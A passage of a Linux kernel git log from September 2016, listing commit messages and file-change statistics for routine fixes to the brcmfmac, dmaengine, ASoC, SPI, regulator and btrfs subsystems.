drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcmsdh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc981641360183990de59da17f9f560f9150b801 Author: Arend Van Spriel Date: Mon Sep 19 12:09:53 2016 +0100 brcmfmac: fix memory leak in brcmf_flowring_add_tdls_peer() In the error paths in brcmf_flowring_add_tdls_peer() the allocated resource should be freed. Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/flowring.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 704d1c6b56f4ee2ad6a5f012a72a278d17c1a223 Author: Arend Van Spriel Date: Mon Sep 19 12:09:52 2016 +0100 brcmfmac: rework pointer trickery in brcmf_proto_bcdc_query_dcmd() The variable info is assigned to point to bcdc->msg[1], which is the same as pointing to bcdc->buf. As that is what we want to access make it clear by fixing the assignment. This also avoid out-of-bounds errors from static analyzers are bcdc->msg[1] is not in the structure definition. Reviewed-by: Hante Meuleman Reviewed-by: Pieter-Paul Giesberts Reviewed-by: Franky Lin Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/bcdc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b3589dfe02123a0d0ea82076a9f8ef84a46852c0 Author: Hante Meuleman Date: Mon Sep 19 12:09:51 2016 +0100 brcmfmac: ignore 11d configuration errors 802.11d is not always supported by firmware anymore. Currently the AP configuration of 11d will cause an abort if the ioctl set is failing. This behavior is not correct and the error should be ignored. Reviewed-by: Arend Van Spriel Reviewed-by: Franky Lin Reviewed-by: Pieter-Paul Giesberts Signed-off-by: Hante Meuleman Signed-off-by: Arend van Spriel Signed-off-by: Kalle Valo .../broadcom/brcm80211/brcmfmac/cfg80211.c | 27 ++++++++++++---------- 1 file changed, 15 insertions(+), 12 deletions(-) commit 4dfc97918474a8cb034d3b5d4541b46c98e23474 Author: Vinod Koul Date: Tue Sep 20 10:32:47 2016 +0530 dmaengine: moxart: fix kconfig unmet direct dependencies We have unmet direct dependencies as DMA_SUN4I selects DMA_OF so remove the selection warning: (DMA_SUN4I && MOXART_DMA && STM32_DMA) selects DMA_OF which has unmet direct dependencies (DMADEVICES && OF) Suggested-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/Kconfig | 1 - 1 file changed, 1 deletion(-) commit f43d9fbe0ba8a247dea8ab9d348e2b53c07efad3 Author: Vinod Koul Date: Tue Sep 20 10:32:47 2016 +0530 dmaengine: sun4i: fix kconfig unmet direct dependencies We have unmet direct dependencies as DMA_SUN4I selects DMA_OF so remove the selection warning: (DMA_SUN4I && MOXART_DMA && STM32_DMA) selects DMA_OF which has unmet direct dependencies (DMADEVICES && OF) Suggested-by: Arnd Bergmann Acked-by: Maxime Ripard Signed-off-by: Vinod Koul drivers/dma/Kconfig | 1 - 1 file changed, 1 deletion(-) commit 854d4bd25b05ce1d9583b9b072c10070059d7944 Author: Vinod Koul Date: Fri Sep 2 16:10:07 2016 +0530 dmaengine: zxdma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4aa258af6532437910aebb3e8a6d47ffda8c1070 Author: Vinod Koul Date: Fri Sep 2 16:07:05 2016 +0530 dmaengine: timb-dma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1609db6f088eed4a0821641cb6d17ae0e79c779a Author: Vinod Koul Date: Fri Sep 2 16:00:41 2016 +0530 dmaengine: s3c24xx: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Reviewed-by: Krzysztof Kozlowski Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9d0c6f2506c5a1ce0fb66e202c639688ec8c757f Author: Vinod Koul Date: Wed Sep 14 16:21:32 2016 +0530 dmaengine: s3c24xx: fix pointer cast warnings On some systems, pointer can be large than unsigned int, triggering warning pointer-to-int-cast on conversion. drivers/dma/s3c24xx-dma.c: In function 's3c24xx_dma_filter': drivers/dma/s3c24xx-dma.c:1421:24: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] Use a long value for type conversion. Suggested-by: Arnd Bergmann Reviewed-by: Krzysztof Kozlowski Signed-off-by: Vinod Koul drivers/dma/s3c24xx-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit abdad50d1d184e0c663b57015d9bbc11701207e7 Author: Vinod Koul Date: Wed Sep 14 16:15:20 2016 +0530 dmaengine: s3c24xx: use correct print specifiers for size_t This driver warns: drivers/dma/s3c24xx-dma.c: In function 's3c24xx_dma_prep_memcpy': drivers/dma/s3c24xx-dma.c:826:2: warning: format '%d' expects argument of type 'int', but argument 4 has type 'size_t' [-Wformat=] drivers/dma/s3c24xx-dma.c:830:3: warning: format '%d' expects argument of type 'int', but argument 3 has type 'size_t' [-Wformat=] We should use %zu to print 'size_t' values. Reviewed-by: Krzysztof Kozlowski Signed-off-by: Vinod Koul drivers/dma/s3c24xx-dma.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e97adb49b415b3ff487e9fd0d759e843baf6f69e Author: Vinod Koul Date: Fri Sep 2 15:59:10 2016 +0530 dmaengine: stm32-dma: make stm32_dma_set_config static Sparse complains: drivers/dma/stm32-dma.c:957:6: warning: symbol 'stm32_dma_set_config' was not declared. Should it be static? SO make stm32_dma_set_config static. Signed-off-by: Vinod Koul drivers/dma/stm32-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fbf3717a467c6d9bcd8fdce03fdd5074b14a03f Author: Vinod Koul Date: Fri Sep 2 15:57:51 2016 +0530 dmaengine: stm32-dma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Vinod Koul drivers/dma/Kconfig | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 93d05f1ec644c97535159649de7f8e6731841336 Author: Vinod Koul Date: Fri Sep 2 15:57:09 2016 +0530 dmaengine: mmp_tdma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. While at it, to fix build on other archs, select MMP_SRAM only for ARCH_MMP and also fix the platform header Suggested-by: Arnd Bergmann Acked-by: Zhangfei Gao Signed-off-by: Vinod Koul drivers/dma/Kconfig | 4 ++-- include/linux/platform_data/dma-mmp_tdma.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit cd3a792a77bc4e72e917efcf9dfc7f33cbb2fda8 Author: Vinod Koul Date: Fri Sep 2 15:55:56 2016 +0530 dmaengine: mmp_pdma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Acked-by: Zhangfei Gao Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3e13b386963b337de98a0ff92d2eefc5dfef6edd Author: Vinod Koul Date: Wed Sep 14 15:53:08 2016 +0530 dmaengine: mmp_tdma: use correct print specifiers for size_t This driver warns: drivers/dma/mmp_tdma.c: In function 'mmp_tdma_prep_dma_cyclic': drivers/dma/mmp_tdma.c:437:5: warning: format '%d' expects argument of type 'int', but argument 3 has type 'size_t' [-Wformat=] We should use %zu to print 'size_t' values. Acked-by: Zhangfei Gao Signed-off-by: Vinod Koul drivers/dma/mmp_tdma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 49ad6d7dd65b5f2ec3ed847eb64bb916cd29431e Author: Vinod Koul Date: Fri Sep 2 15:38:43 2016 +0530 dmaengine: ep93xx: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8f913bffb4d35718914c1ecc8c1f52c216925752 Author: Vinod Koul Date: Wed Sep 14 15:39:56 2016 +0530 dmaengine: ep93xx: don't use variables defined in global scope The driver uses same variable name in local and global context in a function, rename the local one for better readability. Signed-off-by: Vinod Koul drivers/dma/ep93xx_dma.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 567df5e9770f7b5203010fd8a5e7c34b387b90a3 Author: Vinod Koul Date: Wed Sep 14 15:39:56 2016 +0530 dmaengine: ep93xx: use correct print specifiers for size_t This driver warns: drivers/dma/ep93xx_dma.c: In function 'ep93xx_dma_prep_slave_sg': drivers/dma/ep93xx_dma.c:1054:6: warning: format '%d' expects argument of type 'int', but argument 3 has type 'size_t' [-Wformat=] drivers/dma/ep93xx_dma.c: In function 'ep93xx_dma_prep_dma_cyclic': drivers/dma/ep93xx_dma.c:1129:5: warning: format '%d' expects argument of type 'int', but argument 3 has type 'size_t' [-Wformat=] We should use %zu to print 'size_t' values. Signed-off-by: Vinod Koul drivers/dma/ep93xx_dma.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6947c3f2870281961225b070c22ae5a382e36b6b Author: Vinod Koul Date: Fri Sep 2 15:31:42 2016 +0530 dmaengine: sa11x0: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Acked-by: Russell King Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 762ff31dd4ec9d97e38bf3c1aa3c4bbd8e3e87ce Author: Vinod Koul Date: Wed Sep 14 15:22:49 2016 +0530 dmaengine: sa11x0: use correct print specifiers for size_t This driver when compiled on 64 bits gave warnings: drivers/dma/sa11x0-dma.c:602:2: warning: format ‘%u’ expects argument of type ‘unsigned int’, but argument 6 has type ‘size_t’ [-Wformat=] We should use %zu to print 'size_t' values. Acked-by: Russell King Signed-off-by: Vinod Koul drivers/dma/sa11x0-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 872b4af48f878e361739bae7d3f300c0a35ecfd0 Author: Vinod Koul Date: Wed Sep 14 15:22:49 2016 +0530 dmaengine: sa11x0: use correct print specifiers for u32 This driver when compiled on 64 bits gave warnings: drivers/dma/sa11x0-dma.c:494:2: warning: format ‘%zx’ expects argument of type ‘size_t’, but argument 4 has type ‘u32’ [-Wformat=] We should use %x to print 'u32' values. Acked-by: Russell King Signed-off-by: Vinod Koul drivers/dma/sa11x0-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f92e934d57518ddb5ea9fbdac06c19091aa1316e Author: Vinod Koul Date: Wed Sep 14 15:15:43 2016 +0530 dmaengine: sa11x0: use correct print specifiers for dma_addr_t This driver when compiled on 64 bits gave warnings: drivers/dma/sa11x0-dma.c:466:27: warning: format '%x' expects argument of type 'unsigned int', but argument 4 has type 'dma_addr_t' [-Wformat=] drivers/dma/sa11x0-dma.c:554:31: warning: format '%x' expects argument of type 'unsigned int', but argument 5 has type 'dma_addr_t' [-Wformat=] drivers/dma/sa11x0-dma.c:696:34: warning: format '%x' expects argument of type 'unsigned int', but argument 5 has type 'dma_addr_t' [-Wformat=] We should use %pad to print 'dma_addr_t' values. Acked-by: Russell King Signed-off-by: Vinod Koul drivers/dma/sa11x0-dma.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 6e450376e5877f2671db552a7693e9325e31a1cb Author: Vinod Koul Date: Fri Sep 2 15:29:49 2016 +0530 dmaengine: coh901318: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d943df870572e4774abfb16ef20c9ec28edbd94c Author: Vinod Koul Date: Tue Sep 13 22:55:01 2016 +0530 dmaengine: coh901318: use NULL for pointer initialization Sparse complains: drivers/dma/coh901318_lli.c:78:31: warning: Using plain integer as NULL pointer drivers/dma/coh901318_lli.c:91:39: warning: Using plain integer as NULL pointer Use NULL for pointer initialization rather than plain integer Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318_lli.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c021d8351f1dfa296347210ee7befd571727f0a2 Author: Vinod Koul Date: Tue Sep 13 22:27:53 2016 +0530 dmaengine: coh901318: fix pointer cast warnings On some systems, pointer can be large than unsigned int, triggering warning pointer-to-int-cast on conversion. drivers/dma/coh901318.c: In function 'coh901318_filter_id': drivers/dma/coh901318.c:1769:23: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] unsigned int ch_nr = (unsigned int) chan_id; Also, converting an iomem pointer for print leads to warn on some system which can be avoided with %p specfier drivers/dma/coh901318.c: In function 'coh901318_probe': drivers/dma/coh901318.c:2748:3: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] (u32) base->virtbase); Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 66a1a51270a2ed057b41cda234cc3fe2ff7c64bf Author: Vinod Koul Date: Tue Sep 13 22:25:07 2016 +0530 dmaengine: coh901318: return ssize_t for coh901318_debugfs_read The file_operations.read expects return as ssize_t, so update coh901318_debugfs_read to return ssize_t to fix the warning: drivers/dma/coh901318.c:1369:2: warning: initialization from incompatible pointer type [enabled by default] .read = coh901318_debugfs_read, Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3fd386625679bd2adb94d2a3d25dd2fdd38b52e3 Author: Vinod Koul Date: Tue Sep 13 22:18:32 2016 +0530 dmaengine: coh901318: use correct print specifiers This driver when compiled on 64 bits gave warnings: drivers/dma/coh901318.c: In function 'coh901318_list_print': warning: format '%x' expects argument of type 'unsigned int', but argument 7 has type 'dma_addr_t' [-Wformat=] warning: format '%x' expects argument of type 'unsigned int', but argument 8 has type 'dma_addr_t' [-Wformat=] warning: format '%x' expects argument of type 'unsigned int', but argument 9 has type 'dma_addr_t' [-Wformat=] drivers/dma/coh901318.c: In function 'coh901318_prep_memcpy': warning: format '%x' expects argument of type 'unsigned int', but argument 6 has type 'dma_addr_t' [-Wformat=] warning: format '%x' expects argument of type 'unsigned int', but argument 7 has type 'dma_addr_t' [-Wformat=] warning: format '%d' expects argument of type 'int', but argument 8 has type 'size_t' [-Wformat=] We should use %pad to print 'dma_addr_t' values and %zu to print size_t values Acked-by: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 4f5db8c8f8ee965436de24256bbd7a01778d4cdb Author: Vinod Koul Date: Fri Sep 2 15:27:55 2016 +0530 dmaengine: jz4780: make jz4780_dma_prep_dma_memcpy static Sparse complains: drivers/dma/dma-jz4780.c:399:32: warning: symbol 'jz4780_dma_prep_dma_memcpy' was not declared. Should it be static? So make this static Signed-off-by: Vinod Koul drivers/dma/dma-jz4780.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a952b28788b5356780447ba23e89ea7365b19a1f Author: Vinod Koul Date: Fri Sep 2 15:27:20 2016 +0530 dmaengine: jz4780: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d78d6c073a43dd9c6050c1df9921f238eb25ee5d Author: Vinod Koul Date: Fri Sep 2 15:25:11 2016 +0530 dmaengine: jz4740: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Acked-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f3086ff62b3f73caf69421aa5599b13ad8892681 Author: Vinod Koul Date: Tue Sep 20 09:02:43 2016 +0530 dmaengine: jz4740: remove unused arch header The defines in asm/mach-jz4740/dma.h are not used by driver so remove it Acked-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/dma-jz4740.c | 2 -- 1 file changed, 2 deletions(-) commit 9f878603dbdb7db357fc7d6f60b55a0b9fd6e2f0 Author: Niklas Söderlund Date: Wed Aug 10 13:22:19 2016 +0200 dmaengine: rcar-dmac: add iommu support for slave transfers Enable slave transfers to a device behind a IPMMU by mapping the slave addresses using the dma-mapping API. Signed-off-by: Niklas Söderlund Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/sh/rcar-dmac.c | 82 +++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 74 insertions(+), 8 deletions(-) commit c5ed08e988a35b4b7f8c54dfd9edfb592991fae6 Author: Niklas Söderlund Date: Wed Aug 10 13:22:18 2016 +0200 dmaengine: rcar-dmac: group slave configuration Group slave address and transfer size in own structs for source and destination. This is in preparation for hooking up the dma-mapping API to the slave addresses. Signed-off-by: Niklas Söderlund Reviewed-by: Laurent Pinchart Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/sh/rcar-dmac.c | 38 ++++++++++++++++++++++---------------- 1 file changed, 22 insertions(+), 16 deletions(-) commit 24ed5d2c07e36ebaf0e8ce483a41b8e44d7499d4 Author: Niklas Söderlund Date: Wed Aug 10 13:22:17 2016 +0200 arm: dma-mapping: add {map,unmap}_resource for iommu ops Add methods to map/unmap device resources addresses for dma_map_ops that are IOMMU aware. This is needed to map a device MMIO register from a physical address. Signed-off-by: Niklas Söderlund Reviewed-by: Laurent Pinchart Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul arch/arm/mm/dma-mapping.c | 63 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) commit 6f3d87968f9c8b529bc81eff5a1f45e92553493d Author: Niklas Söderlund Date: Wed Aug 10 13:22:16 2016 +0200 dma-mapping: add dma_{map,unmap}_resource Map/Unmap a device MMIO resource from a physical address. If no dma_map_ops method is available the operation is a no-op. Signed-off-by: Niklas Söderlund Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul Documentation/DMA-API.txt | 22 +++++++++++++++++----- include/linux/dma-mapping.h | 36 ++++++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+), 5 deletions(-) commit 0e74b34dfc3318bf4c7e51349d453d49fb8e9e16 Author: Niklas Söderlund Date: Wed Aug 10 13:22:15 2016 +0200 dma-debug: add support for resource mappings A MMIO mapped resource can not be represented by a struct page so a new debug type is needed to handle this. This patch add such type and functionality to add/remove entries and how to translate them to a physical address. Signed-off-by: Niklas Söderlund Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul include/linux/dma-debug.h | 19 +++++++++++++++++ lib/dma-debug.c | 52 +++++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 69 insertions(+), 2 deletions(-) commit ba409b31b3d37b52dda4eefcde04f5837c7ee4aa Author: Niklas Söderlund Date: Wed Aug 10 13:22:14 2016 +0200 dma-mapping: add {map,unmap}_resource to dma_map_ops Add methods to handle mapping of device resources from a physical address. This is needed for example to be able to map MMIO FIFO registers to a IOMMU. Signed-off-by: Niklas Söderlund Reviewed-by: Laurent Pinchart Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul include/linux/dma-mapping.h | 6 ++++++ 1 file changed, 6 insertions(+) commit 94d215cc6fc5f0a5d202ed2b12fa0b14392cc2e4 Author: 彭东林 Date: Mon Sep 26 08:29:31 2016 +0000 ASoC: dpcm: print dai_link name of BE other than FE. When operating the BE, we should print out the dai_link name of BE other than FE. This is useful when analyzing the kernel log. Signed-off-by: Donglin Peng Signed-off-by: Mark Brown sound/soc/soc-pcm.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit ef9656b6936fb7f66e7e25d284c955f4893ac421 Author: Nikita Yushchenko Date: Fri Sep 23 14:52:52 2016 +0300 ASoC: tlv320aic31xx: add explicit support for tlv320dac31xx tlv320dac31xx is a subset of tlv320aic31xx: - it does not have MIC inputs and ADC, thus capture is not supported, - it has analog inputs AIN1/AIN2 that can be mixed into output. Although tlv320dac31xx does work with tlv320aic31xx driver, this setup does register non-existent widgets and non-existent capture stream. Thus userspace lists non-existent objects in user interfaces, an can access these, causing operations with device registers that are declared as "reserved" in tlv320dac31xx datasheet. This patch fixes this situation by separating controls/widgets/routes into common, aic31xx-specific, and dac31xx-specific parts. Only parts that match actual hardware (as declared in "compatible" device tree property) are registered. Changes from v1: - update device tree binding documentation, - rebased on top of "ASoC: codec duplicated callback function goes to component on tlv320aic31xx" commit. Signed-off-by: Nikita Yushchenko Signed-off-by: Mark Brown .../devicetree/bindings/sound/tlv320aic31xx.txt | 9 +- sound/soc/codecs/tlv320aic31xx.c | 212 +++++++++++++++------ sound/soc/codecs/tlv320aic31xx.h | 2 + 3 files changed, 164 insertions(+), 59 deletions(-) commit 5258beedc30a72b0c21521aa531ed26ad45cb3f7 Author: Baoyou Xie Date: Fri Sep 23 20:47:22 2016 +0800 regulator: dbx500: remove unused functions in dbx500-prcmu.c We get 2 warnings when building kernel with W=1: drivers/regulator/dbx500-prcmu.c:78:6: warning: no previous prototype for 'ux500_regulator_suspend_debug' [-Wmissing-prototypes] drivers/regulator/dbx500-prcmu.c:87:6: warning: no previous prototype for 'ux500_regulator_resume_debug' [-Wmissing-prototypes] In fact, these functions are unused in dbx500-prcmu.c, but should be removed. So this patch removes the unused functions. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Mark Brown drivers/regulator/dbx500-prcmu.c | 18 ------------------ 1 file changed, 18 deletions(-) commit bb0c35fcaf8f2ad3383dd43ca8abf5203cd06cc3 Author: Adam Thomson Date: Mon Sep 26 14:29:21 2016 +0100 ASoC: da7219: Disable AAD if codec is not a wake-up source Currently if AAD is enabled in the device, during system suspend the feature remains, regardless of whether the codec is a wake-up source or not. This means some additional power is being used which is unnecessary, and can causes issues with some platforms' IRQ handlers where state changes during system suspend aren't captured. This patch updates the driver to disable AAD during suspend, if we're not a wake-up source, and then re-enables this on resume. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown include/sound/da7219.h | 2 ++ sound/soc/codecs/da7219-aad.c | 56 +++++++++++++++++++++++++++++++++++++++++++ sound/soc/codecs/da7219-aad.h | 5 ++++ sound/soc/codecs/da7219.c | 30 +++++++++++++---------- sound/soc/codecs/da7219.h | 1 + 5 files changed, 81 insertions(+), 13 deletions(-) commit a7f16ea90ecffde4d4915eb7c81b11428e636920 Author: Adam Thomson Date: Mon Sep 26 14:29:20 2016 +0100 ASoC: da7219: Reset codec gracefully, if still active Currently the reset code in i2c_probe only resets the AAD part of the device and not the entire codec. This patch updates the driver to resolve this and ensures that if the codec is still active from a previous boot then the audio paths are powered down prior to reset. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7219.c | 30 +++++++++++++++++++++++++++--- sound/soc/codecs/da7219.h | 5 +++++ 2 files changed, 32 insertions(+), 3 deletions(-) commit 8339f0b6b209b640afe8381aa9b5d7accfeaf848 Merge: 6a0b87c 96fc294 Author: Mark Brown Date: Mon Sep 26 09:39:35 2016 -0700 Merge branch 'fix/da7219' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-da7219 commit c14c59f2e9ca2dc3ddb3af67b71a11feaaacbbce Author: Vishal Thanki Date: Mon Sep 26 15:34:19 2016 +0200 ASoC: ak4104: Limit the supported sample rates Currently the driver exposes range of sample rates between 8KHz to 192KHz as a part of dai_driver. This does not hold true as the limited number sample rates are allowed in hw_params DAI callback. This patch limits the sample rates exposed via dai_driver. Signed-off-by: Vishal Thanki Signed-off-by: Mark Brown sound/soc/codecs/ak4104.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit c9e902f4b37a3c108eb5dc51f1340c09becd7232 Author: Danny Milosavljevic Date: Sat Sep 24 22:05:01 2016 +0200 ASoC: sun4i-codec: Rename sun4i_codec_widgets for consistency Rename "sun4i_codec_widgets" to "sun4i_codec_controls" for consistency with the struct field name. Signed-off-by: Danny Milosavljevic Acked-by: Maxime Ripard Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5c4341199b223a6973b7a18ed43d943a6a897685 Merge: c1d5065 8180bd5 Author: Mark Brown Date: Mon Sep 26 09:32:22 2016 -0700 Merge branch 'topic/codec-component' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-sunxi commit 99f499cd650405bbe6a9b5386d4b11ee81514fb7 Author: Mika Westerberg Date: Mon Sep 26 15:19:50 2016 +0300 spi: pxa2xx: Add support for GPIO descriptor chip selects The driver uses custom chip_info coming from platform data for chip selects implemented as GPIOs. If the system lacks board files setting up the platform data, it is not possible to use GPIOs as chip selects. This adds support for GPIO descriptors so that regardless of the underlying firmware interface (DT, ACPI or platform data) the driver can request GPIOs used as chip selects and configure them accordingly. The custom chip_info GPIO support is still left there to make sure the existing systems keep working as expected. Signed-off-by: Mika Westerberg Signed-off-by: Mark Brown drivers/spi/spi-pxa2xx.c | 57 +++++++++++++++++++++++++++++++++++++++++++++--- drivers/spi/spi-pxa2xx.h | 3 +++ 2 files changed, 57 insertions(+), 3 deletions(-) commit f13d4e189d209af0f552e9900acd06ee4a35e601 Author: Marek Vasut Date: Mon Sep 26 14:14:53 2016 +0200 spi: imx: Gracefully handle NULL master->cs_gpios It is possible that master->cs_gpios is NULL after spi_bitbang_start(), this happens if the master has no CS GPIOs specified in DT. Check for this case after spi_bitbang_start() to prevent NULL pointer dereference in the subsequent for loop, which accesses the master->cs_gpios field. Signed-off-by: Marek Vasut Cc: Martin Kaiser Cc: Mark Brown Signed-off-by: Mark Brown drivers/spi/spi-imx.c | 5 +++++ 1 file changed, 5 insertions(+) commit 62e855771dacf7c4d6daf9741642a965e7066d31 Author: Jeff Mahoney Date: Tue Sep 20 10:05:01 2016 -0400 btrfs: convert printk(KERN_* to use pr_* calls This patch converts printk(KERN_* style messages to use the pr_* versions. One side effect is that anything that was KERN_DEBUG is now automatically a dynamic debug message. Signed-off-by: Jeff Mahoney Signed-off-by: David Sterba fs/btrfs/check-integrity.c | 272 +++++++++++++++++--------------------------- fs/btrfs/compression.c | 6 +- fs/btrfs/ctree.c | 2 +- fs/btrfs/ctree.h | 6 +- fs/btrfs/disk-io.c | 44 ++++--- fs/btrfs/extent-tree.c | 6 +- fs/btrfs/extent_io.c | 4 +- fs/btrfs/free-space-cache.c | 2 +- fs/btrfs/lzo.c | 6 +- fs/btrfs/print-tree.c | 62 +++++----- fs/btrfs/reada.c | 28 +++-- fs/btrfs/super.c | 12 +- fs/btrfs/sysfs.c | 2 +- fs/btrfs/transaction.c | 2 +- fs/btrfs/volumes.c | 18 ++- fs/btrfs/zlib.c | 8 +- 16 files changed, 205 insertions(+), 275 deletions(-) commit 5d163e0e68ce743e1e919ddd3264c96ac02e9026 Author: Jeff Mahoney Date: Tue Sep 20 10:05:00 2016 -0400 btrfs: unsplit printed strings CodingStyle chapter 2: "[...] never break user-visible strings such as printk messages, because that breaks the ability to grep for them." This patch unsplits user-visible strings. Signed-off-by: Jeff Mahoney Signed-off-by: David Sterba fs/btrfs/backref.c | 15 ++--- fs/btrfs/check-integrity.c | 143 +++++++++++++------------------------------- fs/btrfs/ctree.c | 10 ++-- fs/btrfs/delayed-inode.c | 17 +++--- fs/btrfs/dev-replace.c | 19 +++--- fs/btrfs/dir-item.c | 7 ++- fs/btrfs/disk-io.c | 6 +- fs/btrfs/extent-tree.c | 44 +++++++------- fs/btrfs/extent_io.c | 42 ++++++------- fs/btrfs/free-space-cache.c | 13 ++-- fs/btrfs/free-space-tree.c | 12 ++-- fs/btrfs/inode.c | 10 ++-- fs/btrfs/ioctl.c | 14 +++-- fs/btrfs/ordered-data.c | 4 +- fs/btrfs/print-tree.c | 50 ++++++---------- fs/btrfs/qgroup.c | 11 ++-- fs/btrfs/reada.c | 6 +- fs/btrfs/relocation.c | 16 ++--- fs/btrfs/root-tree.c | 18 ++---- fs/btrfs/scrub.c | 58 +++++++++--------- fs/btrfs/send.c | 14 ++--- fs/btrfs/super.c | 42 ++++++++----- fs/btrfs/sysfs.c | 6 +- fs/btrfs/transaction.c | 6 +- fs/btrfs/tree-log.c | 8 +-- fs/btrfs/uuid-tree.c | 27 +++++---- fs/btrfs/volumes.c | 97 ++++++++++++++++-------------- 27 files changed, 324 insertions(+), 391 deletions(-) commit cea67ab92d3d4da9f2b4141d87cb8664757daca0 Author: Jeff Mahoney Date: Tue Sep 20 08:50:21 2016 -0400 btrfs: clean the old superblocks before freeing the device btrfs_rm_device frees the block device but then re-opens it using the saved device name. A race exists between the close and the re-open that allows the block size to be changed. The result is getting stuck forever in the reclaim loop in __getblk_slow. This patch moves the superblock cleanup before closing the block device, which is also consistent with other callers. We also don't need a private copy of dev_name as the whole routine operates under the uuid_mutex. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/volumes.c | 38 +++++++++++--------------------------- 1 file changed, 11 insertions(+), 27 deletions(-) commit 02794222c4132ac003e7281fb71f4ec1645ffc87 Author: Liu Bo Date: Wed Sep 14 19:19:05 2016 -0700 Btrfs: kill BUG_ON in run_delayed_tree_ref In a corrupted btrfs image, we can come across this BUG_ON and get an unreponsive system, but if we return errors instead, its caller can handle everything gracefully by aborting the current transaction. Signed-off-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 6bdf131fac2336adb1a628f992ba32384f653a55 Author: Josef Bacik Date: Fri Sep 2 15:25:43 2016 -0400 